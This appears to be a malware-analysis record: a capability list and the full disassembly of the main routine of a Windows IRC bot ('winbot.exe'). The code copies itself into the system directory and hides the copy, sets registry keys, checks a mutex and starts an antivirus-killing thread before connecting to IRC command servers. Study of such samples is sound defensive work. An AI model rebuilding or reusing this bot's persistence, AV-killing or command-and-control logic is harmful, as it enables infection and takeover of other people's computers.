Function at 0x40157e
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create process on windows
Create thread
Delete file
Get common file path
Get local ipv4 addresses
Get socket information
Initialize winsock library
Move file
Query or enumerate registry value
Send data
Send data on socket
Send http request
Set file attributes
Set registry value
Shutdown system
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x6e4
mov dword [esp + 4], 0x21
mov dword [esp], str.tpguxbsfnxdwsp
call sym._decrypt
mov dword [esp + 4], 0x21
mov dword [esp], str.tpguxbsfnxdws
call sym._decrypt
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x2b8]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x3bc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_CharUpperBuffA]
call eax
sub esp, 8
lea eax, [ebp - 0x3bc]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 4], eax
lea eax, [ebp - 0x3bc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_CharUpperBuffA]
call eax
sub esp, 8
mov dword [esp + 4], str.EXPLORER.EXE
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym._strstr
test eax, eax
je 0x40178f
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x5ba]
add eax, edx
mov dword [eax], 0x5058455c
mov dword [eax + 4], 0x45524f4c
mov dword [eax + 6], 0x2e524552
mov dword [eax + 0xa], 0x455845
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x5ba]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
cmp eax, 0x20
jg 0x40178f
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x5ba]
add eax, edx
mov dword [eax], 0x5058455c
mov dword [eax + 4], 0x45524f4c
mov dword [eax + 6], 0x2e524552
mov dword [eax + 0xa], 0x455845
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x5ba]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
lea eax, [ebp - 0x3bc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x401927
mov dword [esp + 0xc], str.winbot.exe
lea eax, [ebp - 0x3bc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424430
lea eax, [ebp - 0x6be]
mov dword [esp], eax
call sym._sprintf
jmp 0x401868
mov eax, dword [sym.imp.KERNEL32.dll_GetTickCount]
call eax
mov dword [esp], eax
call sym._srand
mov dword [ebp - 0x10], 0
jmp 0x40182a
call sym._rand
mov ecx, eax
mov edx, 0x4ec4ec4f
mov eax, ecx
imul edx
mov eax, edx
sar eax, 3
mov edx, ecx
sar edx, 0x1f
sub eax, edx
imul edx, eax, 0x1a
mov eax, ecx
sub eax, edx
add eax, 0x61
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, str.winbot.exe
mov byte [eax], dl
add dword [ebp - 0x10], 1
mov dword [esp], str.winbot.exe
call sym._strlen
sub eax, 4
mov edx, dword [ebp - 0x10]
cmp edx, eax
jb 0x4017f4
mov dword [esp + 0xc], str.winbot.exe
lea eax, [ebp - 0x3bc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x424430
lea eax, [ebp - 0x6be]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 8], 0
lea eax, [ebp - 0x6be]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CopyFileA]
call eax
sub esp, 0xc
test eax, eax
je 0x4017dc
mov dword [esp + 4], 2
lea eax, [ebp - 0x6be]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call eax
sub esp, 8
mov dword [esp], 0
call sym._writekeys
lea eax, [ebp - 0x2b8]
mov dword [esp + 8], eax
mov dword [esp + 4], str.mElT_s
lea eax, [ebp - 0x5ba]
mov dword [esp], eax
call sym._sprintf
mov dword [esp + 0x14], 5
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x5ba]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x6be]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
lea eax, [ebp - 0x2b8]
mov dword [esp], eax
call sym._strlen
mov ebx, eax
mov dword [esp], str.winbot.exe
call sym._strlen
sub ebx, eax
mov edx, ebx
lea eax, [ebp - 0x2b8]
add eax, edx
mov dword [esp + 4], eax
mov dword [esp], str.winbot.exe
call sym._sprintf
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call eax
mov dword [esp], eax
call sym._strlen
cmp eax, 6
jbe 0x4019c7
mov eax, dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call eax
mov dword [esp + 4], str.mElT
mov dword [esp], eax
call sym._strstr
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4019c7
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._strlen
cmp eax, 5
jbe 0x4019c7
mov dword [esp], 0x7d0
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call eax
sub esp, 4
mov dword [esp + 8], str.Stat32bin201kthx
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateMutexA]
call eax
sub esp, 0xc
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 0xb7
jne 0x401a04
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [esp], str.kernel32.dll
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x401ab8
mov dword [esp + 4], str.RegisterServiceProcess
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469860], eax
mov eax, dword [0x469860]
test eax, eax
je 0x401a61
mov eax, dword [0x469860]
mov dword [esp + 4], 1
mov dword [esp], 0
call eax
sub esp, 8
mov dword [esp + 4], str.CreateToolhelp32Snapshot
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469864], eax
mov dword [esp + 4], str.Process32First
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x469868], eax
mov dword [esp + 4], str.Process32Next
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call eax
sub esp, 8
mov dword [0x46986c], eax
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov dword [esp], 0x101
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x401b04
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov dword [esp], 1
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x401b04
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401b25
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x15c
add eax, 0x460f9c
mov dword [eax], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xa
jle 0x401b0d
mov dword [ebp - 0xc], 0
jmp 0x401b4c
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x318
add eax, 0x461cfc
mov dword [eax], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x27
jle 0x401b34
mov dword [ebp - 0xc], 0
jmp 0x401b70
mov eax, dword [ebp - 0xc]
imul eax, eax, 0x78
add eax, 0x45fff4
mov dword [eax], 0
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x1e
jle 0x401b5b
lea eax, [ebp - 0x1b4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._kill_av_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x10], 0x42449c
mov dword [esp + 0xc], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], str.F_AV_Killer
call sym._addthread
lea eax, [ebp - 0x1b4]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._keepkeys_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [esp + 8], 0x32
mov dword [esp + 4], 0
mov dword [esp], 0x460e20
call sym._memset
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e088]
test eax, eax
jne 0x401c52
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov edx, dword [eax*4 + 0x41e090]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0x41e088]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._irc_connect
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 1
je 0x401c92
mov dword [esp], 0x1388
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0xc], 1
jmp 0x401c3d
nop
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
call sym._Close_Handles
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax